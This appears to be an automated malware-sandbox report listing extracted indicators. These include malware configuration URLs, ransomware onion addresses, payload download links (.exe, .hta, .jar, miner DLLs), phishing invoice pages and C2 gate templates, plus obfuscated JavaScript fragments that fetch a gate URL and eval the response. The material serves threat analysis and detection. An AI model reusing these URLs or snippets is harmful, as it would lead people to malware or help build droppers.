        Source: Malware configuration extractorURLs: http://www.pornpassmanager.com/d
        Source: Malware configuration extractorURLs: http://www.icq.com
        Source: Malware configuration extractorURLs: http://%domain%/update.php
        Source: Malware configuration extractorURLs: http://%s:%i%s
        Source: Malware configuration extractorURLs: http://www.88vcd.com/htm/china/myb/send.asp?daqu=%s&xiaoqu=%s&user=%s&pass=%s&ckpass=%s&renwu=%s&level=%d&gold=%d&stone=%d&cpname
        Source: Malware configuration extractorURLs: http://tool.world2.cn/toolbar/
        Source: Malware configuration extractorURLs: http://coltaddict.blogspot.com/
        Source: Malware configuration extractorURLs: http://alindaenua.blogspot.com/
        Source: Malware configuration extractorURLs: http://tinyurl.com/
        Source: Malware configuration extractorURLs: http://www.virtrigger.com
        Source: Malware configuration extractorURLs: http://qwuyegasd3edarq6yu.org/mSsQDIMIQ/ind7694GDs/
        Source: Malware configuration extractorURLs: http://www.niudoudou.com/web/download/
        Source: Malware configuration extractorURLs: http://millennium-traders.info
        Source: Malware configuration extractorURLs: http://www.youndoo.com/?z=
        Source: Malware configuration extractorURLs: http://devee.emlnk.com/lt.php?s=b7abe8a8120881cc5c9dab6eac28ddbe&amp;i=1a3a1a
        Source: Malware configuration extractorURLs: http://200.159.128.
        Source: Malware configuration extractorURLs: http://1bestgate.blogspot.com/
        Source: Malware configuration extractorURLs: http://www.preyer.it/ups.com/
        Source: Malware configuration extractorURLs: http://www.adserver.com
        Source: Malware configuration extractorURLs: http://5starvideos.com/main/
        Source: Malware configuration extractorURLs: http://march262020.club/files/
        Source: Malware configuration extractorURLs: http://session-dyfm.clientmsg13.review/8446c35a41f9e820533b6cd008b40749?fpcum=&amp;dyfm=ywx2yxjvx3zlbgfzy29adndylmnvbq==&amp;dyfm=cpjyicit
        Source: Malware configuration extractorURLs: http://www.surprisingdd.top
        Source: Malware configuration extractorURLs: http://www.facebook.com/
        Source: Malware configuration extractorURLs: http://agressor58.blogspot.com/
        Source: Malware configuration extractorURLs: http://arifkacip.blogspot.com/
        Source: Malware configuration extractorURLs: http://95.173.183.
        Source: Malware configuration extractorURLs: http://bittupadam.blogspot.com/
        Source: Malware configuration extractorURLs: http://94.103.85.236/ds/11.gif
        Source: Malware configuration extractorURLs: http://www.%domain%/updates/check.html
        Source: Malware configuration extractorURLs: http://srmvx.com.br/uploads/
        Source: Malware configuration extractorURLs: http://webpatch.ragnarok.co.kr/
        Source: Malware configuration extractorURLs: http://www.whitehouseknutsford.co.uk/invoice-status/please-pull-invoice-684594/
        Source: Malware configuration extractorURLs: http://alhalm-now.blogspot.com/
        Source: Malware configuration extractorURLs: http://fateh.aba.ae/abc.zip
        Source: Malware configuration extractorURLs: http://abeidaman.blogspot.com/
        Source: Malware configuration extractorURLs: http://131.153.38.125/
        Source: Malware configuration extractorURLs: http://www.amazon.com
        Source: Malware configuration extractorURLs: http://%s/support.php
        Source: Malware configuration extractorURLs: http://50.63.128.
        Source: Malware configuration extractorURLs: http://animefrase.blogspot.com/
        Source: Malware configuration extractorURLs: http://booknology.com/
        Source: Malware configuration extractorURLs: http://www.lumina.it/wp-content/plugins/all-in-one-wp-migration/storage/client/invoice-978561/
        Source: Malware configuration extractorURLs: http://bgtc.pctonics.com
        Source: Malware configuration extractorURLs: http://rentalhabneew.com/
        Source: Malware configuration extractorURLs: http://maldonaaloverainc.com/
        Source: Malware configuration extractorURLs: http://216.172.172.40/~agora546/cardoso/dilma.zip
        Source: Malware configuration extractorURLs: http://beautifulmaori.co.nz/wp-content/plugins/wp-xmll_2/gorfy2pq/1ny0mnkih27id8m.ktk
        Source: Malware configuration extractorURLs: http://batysnewskz.kz/ups.com
        Source: Malware configuration extractorURLs: http://61.19.253.
        Source: Malware configuration extractorURLs: http://downloadfilesldr.com/index3.php?adv=141
        Source: Malware configuration extractorURLs: http://%s:%d/%d%s
        Source: Malware configuration extractorURLs: http://179.43.158.187/PhtJFr0fvBk2.php
        Source: Malware configuration extractorURLs: http://spywaresoftstop.com/load.php?adv=141
        Source: Malware configuration extractorURLs: http://wevx.xyz/post.php?uid=
        Source: Malware configuration extractorURLs: http://dontkillme/
        Source: Malware configuration extractorURLs: http://activecodec.0fees.net/codec/mp3/codec_download.htm
        Source: Malware configuration extractorURLs: http://zilmaraalencar.com.br/layouts/plugins/editors/tinymce/field/zzurphy.php
        Source: Malware configuration extractorURLs: http://highpay.website/css/windows.jar
        Source: Malware configuration extractorURLs: http://update.7h4uk.com:443/antivirus.php
        Source: Malware configuration extractorURLs: http://update.xiaoshoupeixun.com/tsbho.ini
        Source: Malware configuration extractorURLs: http://hotedeals.co.uk/ekck095032/
        Source: Malware configuration extractorURLs: http://gosgd2.com
        Source: Malware configuration extractorURLs: http://3s249.s249327.96.lt/mss2ro37qtl3cbw9vo0lk2bx8vv7jmx2mlesim9ddw11fem3sjp3ijuoufk/mss.php
        Source: Malware configuration extractorURLs: http://sameshitasiteverwas.com/traf/tds/in.cgi
        Source: Malware configuration extractorURLs: http://ahmad-roni.blogspot.com/
        Source: Malware configuration extractorURLs: http://citw-vol2.blogspot.com/
        Source: Malware configuration extractorURLs: http://%s:%d/%s%d%08d
        Source: Malware configuration extractorURLs: http://kolyherqylwa9ru.top/log.php?f=400",zigmep0());ixunlaw4=samagsi0[awolgify4()]();ypjatlaci6[ygulsivko6()]=krubyfacifv2();erqylwa9=samagsi0[hojmed4()];geqilra0=wmetoqe0[betyquzt6()];}ixunlaw4=ypjatlaci6[azgorpydbibd4()]();ixunlaw4=ypjatlaci6[ildig0()](erqylwa9);ixunlaw4=ypjatlaci6[onesothaz0()](kqoctim8+lcacsovy5);ixunlaw4=ypjatlaci6[oxkucfur4()]();ixunlaw4=iliqof8[agajdojj9()](rpolje4()+kqoctim8+lcacsovy5,zigmep0());}catch(e){}
        Source: Malware configuration extractorURLs: http://f1visa.info/cd/cd.php?id=%s&ver=g
        Source: Malware configuration extractorURLs: http://13.233.183.227/de/lngukm2012920/bestellungen/zahlung
        Source: Malware configuration extractorURLs: http://cvfanatic.blogspot.com/
        Source: Malware configuration extractorURLs: http://www.qq994455.com/
        Source: Malware configuration extractorURLs: http://20vp.cn/moyu/
        Source: Malware configuration extractorURLs: http://www.ebay.com
        Source: Malware configuration extractorURLs: http://fateh.aba.ae/xyzx.zip
        Source: Malware configuration extractorURLs: http://3dplayful.blogspot.com/
        Source: Malware configuration extractorURLs: http://vequiato.sites.uol.com.br/
        Source: Malware configuration extractorURLs: http://malikberry.com/files101/htamandela.hta
        Source: Malware configuration extractorURLs: http://bbc.lumpens.org/
        Source: Malware configuration extractorURLs: http://verticalagriculture.net/files/csrss.jar
        Source: Malware configuration extractorURLs: http://31.192.209.
        Source: Malware configuration extractorURLs: http://31.192.211.
        Source: Malware configuration extractorURLs: http://lo0oading.blogspot.com/
        Source: Malware configuration extractorURLs: http://page.zhongsou.com/ps?tps=2&cc=%s&aid=CA%s&w=
        Source: Malware configuration extractorURLs: http://best4hack.blogspot.com/
        Source: Malware configuration extractorURLs: http://www.mapquest.com
        Source: Malware configuration extractorURLs: http://ip-api.com/json/
        Source: Malware configuration extractorURLs: http://888888.2288.org/Monitor_INI
        Source: Malware configuration extractorURLs: http://te.platrium.com/pte.aspx
        Source: Malware configuration extractorURLs: http://www.phokhobazan.com/%202%200%201%208-0%207%20-%201%201%202%200%200%207:%202%206:%2099%20819.php/?email=kevind@hollywoodwoodwork.com"target="_blank
        Source: Malware configuration extractorURLs: http://config.juezhao123.com/c.ashx?ver=&c=
        Source: Malware configuration extractorURLs: http://brembotembo.com/2.dat
        Source: Malware configuration extractorURLs: http://%s:%i%s?mod=cmd
        Source: Malware configuration extractorURLs: http://detayworx.com/_vsnpNgyXp84Os8Xh.php
        Source: Malware configuration extractorURLs: http://checkip.dyndns.org/
        Source: Malware configuration extractorURLs: http://whenyouplaygood.com/s/gate.php?a");f["\x73\x65\x6e\x64"]();eval(f["responsetext"
        Source: Malware configuration extractorURLs: http://www.nba.com
        Source: Malware configuration extractorURLs: http://www.colegioarbitrosargentinos.com.ar/img/overdue-account/invoice-053541/
        Source: Malware configuration extractorURLs: http://www.agendagyn.com/media/fotos/2010/
        Source: Malware configuration extractorURLs: http://www.thon-samson.be/js/_notes/
        Source: Malware configuration extractorURLs: http://anomaniez.blogspot.com/
        Source: Malware configuration extractorURLs: http://masgiO.info/cd/cd.php?id=%s&ver=g
        Source: Malware configuration extractorURLs: http://binyousafindustries.com/fonts/jo/mops.exe
        Source: Malware configuration extractorURLs: http://%s/features.php
        Source: Malware configuration extractorURLs: http://www.enquesta.tempsdoci.com/tracking-number-7fjs84476372436909/mar-13-18-04-02-56
        Source: Malware configuration extractorURLs: http://iranvision1404.com/ss/info/redebit_transactions/terms/kohc-xuxo_lcxty-av6e
        Source: Malware configuration extractorURLs: http://92.222.7.
        Source: Malware configuration extractorURLs: http://brembotembo.com/1.dat
        Source: Malware configuration extractorURLs: http://ow.ly/QoHbJ
        Source: Malware configuration extractorURLs: http://%s/v_install?sid=16045&start=1&guid=$__GUID&sig=$__SIG&ovr=$__OVR&browser=$__BROWSER&label=%s&aux=%d
        Source: Malware configuration extractorURLs: http://aancyber77.blogspot.com/
        Source: Malware configuration extractorURLs: http://2010-kpss.blogspot.com/
        Source: Malware configuration extractorURLs: http://www.sacbarao.kinghost.net/
        Source: Malware configuration extractorURLs: http://downloadfilesldr.com/allfile.jpg
        Source: Malware configuration extractorURLs: http://5starvideos.com/main/K
        Source: Malware configuration extractorURLs: http://sf3q2wrq34.ddns.net
        Source: Malware configuration extractorURLs: http://www.ip2location.com/
        Source: Malware configuration extractorURLs: http://88888888.7766.org/ExeIni
        Source: Malware configuration extractorURLs: http://worm.ws/
        Source: Malware configuration extractorURLs: http://sonharvaleapena.com.br/en_us/copy_invoice/25680423862/dqzln-cwhrf_yagnf-spn
        Source: Malware configuration extractorURLs: http://www.ssl-256mail.host/5c596a68b83a886b57ade24c?jgiasyi=&pwnmiz_g=1eo3fjfkkke&jgiasyi=wtnygzsiyw
        Source: Malware configuration extractorURLs: http://dudethisishowwedoitallnightlong.2myip.net
        Source: Malware configuration extractorURLs: http://dmww.dmcast.com/script/update.asp?version=%s
        Source: Malware configuration extractorURLs: http://docs.herobo.com
        Source: Malware configuration extractorURLs: http://directplugin.com/dialers/
        Source: Malware configuration extractorURLs: http://www.xpassgenerator.com/software/d
        Found Tor onion addressShow sources
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: https://djdkduep62kz4nzx.onion.to/
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: $https://djdkduep62kz4nzx.onion.to/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://babukq4e2p4wu4iq.onion
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: Open link in tor browser: http://gdcbmuveqjsli57x.onion/b93cf40ee63ed066
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: torlink='http://oc6mkf4efqrjp2ue6qp6vmz4ofyjmlo6dtqiklqb2q546bnqeu66tbyd.onion'
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: Qtorlink='http://oc6mkf4efqrjp2ue6qp6vmz4ofyjmlo6dtqiklqb2q546bnqeu66tbyd.onion'
        Source: global trafficTCP traffic: 192.168.11.20:49812 -> 116.0.120.83:587
        Source: global trafficHTTP traffic detected: GET /uc?export=download&id=1hKAWruhccvaKl722JOqs1briWjn1s8ks HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
        Source: global trafficHTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/g7dge6jvaanlcs7829hvlmboru4ioabe/1634024250000/16524389560697724177/*/1hKAWruhccvaKl722JOqs1briWjn1s8ks?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0c-28-docs.googleusercontent.comConnection: Keep-Alive
        Source: global trafficTCP traffic: 192.168.11.20:49812 -> 116.0.120.83:587
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: HTTP://www.EEEEEEE.EEE
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://%%PingRtt%%/t.ashx
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://%61%63%67%6c%67%6f%61%2e%63%6f%6d/h.js
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: http://%63%61%39%78%2e%63%6f%6d/ken.gif
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://%76%2E%79%61%6F%36%33%2E%63%6F%6D/url.asp
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://%76%2E%79%61%6F%36%33%2E%63%6F%6D/url.asp%C5%E4%D6%C3%D0%C5%CF%A2
        Source: MpSigStub.exe, 00000023.00000003.18340030081.0000015B1AB4D000.00000004.00000001.sdmpString found in binary or memory: http://%HOST%/client/install.htm?cid=%CID%
        Source: MpSigStub.exe, 00000023.00000003.18340030081.0000015B1AB4D000.00000004.00000001.sdmpString found in binary or memory: http://%HOST%/client/open.htm?GUID=%GUID%&cid=%CID%
        Source: MpSigStub.exe, 00000023.00000003.18340030081.0000015B1AB4D000.00000004.00000001.sdmpString found in binary or memory: http://%HOST%/client/run.htm?GUID=%GUID%&cid=%CID%
        Source: MpSigStub.exe, 00000023.00000003.18340030081.0000015B1AB4D000.00000004.00000001.sdmpString found in binary or memory: http://%HOST%/client/scan.htm?GUID=%GUID%&cid=%CID%x
        Source: MpSigStub.exe, 00000023.00000003.18340030081.0000015B1AB4D000.00000004.00000001.sdmpString found in binary or memory: http://%HOST%/client/uninstall.htm?GUID=%GUID%&cid=%CID%
        Source: MpSigStub.exe, 00000023.00000003.18340030081.0000015B1AB4D000.00000004.00000001.sdmpString found in binary or memory: http://%HOST%/client/update.htm?GUID=%GUID%&cid=%CID%
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://%d.%d.%d.%d:%d/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://%d.%d.%d.%d:%d/%d/%d/%d/%d/%d/%d/
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://%d.%d.%d.%d:3128/
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://%d.ctrl.%s
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://%d.ctrl.%saf
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://%domain%/config.php
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://%domain%/content.php?se_id=%d&q=%s&page=%s&ua=%s&al=%s&aff_id=%s&sub_id=%s
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://%domain%/update.php
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://%domain%/update.phpa
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://%s%simg.jpg
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://%s.com/registerguid.php?guid=
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://%s/%04d-%02d/%04d%02d%02d%02d%02d%02d.png
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://%s/%s/s_estr.php?id=%s&str=705-%sd
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://%s/%s/s_report.php?task=%u&id=%s
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: http://%s/?aid=%shttp://%s/sync.php
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: http://%s/any2/%s-direct.ex
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: http://%s/any2/%s-direct.exx
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://%s/asghfd.php?&&u=%u&p=%u&lang
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://%s/asghfd.php?&&u=%u&p=%u&langad
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://%s/banner3.php?q=%d.%d.%d.%d.%d.%s.1.%d.%d
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://%s/block.phpa
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://%s/buy_online.php
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://%s/buy_online.phpa
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://%s/dupe.php?q=%d.%d.%d.%d.%d.%s.1.%d
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://%s/features.php
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://%s/ftp/g.php
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://%s/go.php?gcode=%s
        Source: MpSigStub.exe, 00000023.00000003.18283012261.0000015B1BB87000.00000004.00000001.sdmpString found in binary or memory: http://%s/httpss/setup.php?action=4&mk=%s&aid=%s
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://%s/in.php
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://%s/index.htm?content=%s&id=%d
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://%s/index.htm?id=%4d&content=%s
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://%s/information.php?a=%s&b=%d&c=%d
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://%s/information.php?a=%s&b=%d&c=%dxL
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://%s/inspection.aspx?index=stripbooks
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://%s/jbinfo.cgi?%s:%d
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://%s/js.php?affid=%s&kw=%s
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://%s/kx.php
        Source: MpSigStub.exe, 00000023.00000003.18302834450.0000015B1BFE8000.00000004.00000001.sdmpString found in binary or memory: http://%s/live.php?backupquery=%s
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://%s/loads.php
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://%s/loads2.php?r=%s
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://%s/mirror/ret.aspx?content=%s
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpString found in binary or memory: http://%s/poiehrgb.php?&advid=0000
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: http://%s/search/search.cgi?s
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://%s/search/search.cgi?src=autosearch&s=%s
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://%s/support.php
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: http://%s/sync.php
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://%s:%d/%s%d%08dindex.asp?ToDowbSVCHOST.EXErbSeDe
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://%s:%d/%s%d%sindex.asp?%u%dOEMCP
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://%s:%d/%sPOSTid=41.php?
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://%s:%d/index.cgi
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://%s:%s/bks.asp
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://%sMozilla/4.0
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://(.-/)
        Source: MpSigStub.exe, 00000023.00000003.18301236868.0000015B1B97A000.00000004.00000001.sdmpString found in binary or memory: http://.(www.blackcheta.blogspot.com/)
        Source: MpSigStub.exe, 00000023.00000003.18320569449.0000015B1B556000.00000004.00000001.sdmpString found in binary or memory: http://.exeuser32.dll
        Source: MpSigStub.exe, 00000023.00000003.18242976274.0000015B0B50C000.00000004.00000001.sdmpString found in binary or memory: http://.ocx.cabhtml:file:ftp://
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://.online/a
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://.zdropp.co.cc/download.php?token=
        Source: MpSigStub.exe, 00000023.00000003.18301236868.0000015B1B97A000.00000004.00000001.sdmpString found in binary or memory: http://0-2-t-9-r-6-p-4-4-4-s-0-h-e-.i-k-r-g-1-0-u-5-1-f-3-g-li-9-p-1-x-t-6-g-l-8-m-q-y-s-k-6-l.info
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://0.82211.net/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://00.1.00.2.1.11.9.online.secured.adobe.protected.file.version.9.8.online.verification.access.v
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://0147.0131.0133.0174/..----------------------....................-.....................-/.....
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://03ptc6fk0.ru/clogs/index.php?
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://0c00.cc/0c_data.cc
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://0d91.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://0vyk.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://1-0-9.cn/zxc/index.htm
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://10.24.13.102/office.png
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://103.133.106.72/ini/................wbk
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://103.140.251.93/_....-------------------------.....------------_----/
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://103.149.12.183/bigi.doc
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://103.149.12.183/p1.doc
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://103.149.12.183/u1.doc
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://103.213.245.135/n.hta
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://103.49.146.132/OpenCL.dll
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://103.49.146.132/cpu_tromp_AVX.dll
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://103.49.146.132/cpu_tromp_SSE2.dll
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://103.49.146.132/cudart32_80.dll
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://103.49.146.132/svchost.exe
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://104.153.45.242/~cimbonli//wp-content/upload/ken.exe
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://104.236.94.
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://104.243.35.43
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://107.170.47.94/mdsatalho/
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://107.172.130.145/
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://107.173.219.115:4560/press1.exe
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://107.173.219.80/-.............................................................................
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: http://107.189.10.150/ht/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://108.61.208.60
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://109.248.148.42/officedocument/2006/relationships/templates.dotm
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://110.34.232.11:1314
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: http://110.42.4.180:
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://112.164.188.12/hza.html
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://114.108.151.148/lib/lib.asp
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://116.37.147.205/hit.php
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://118.184.48.95:8000/info
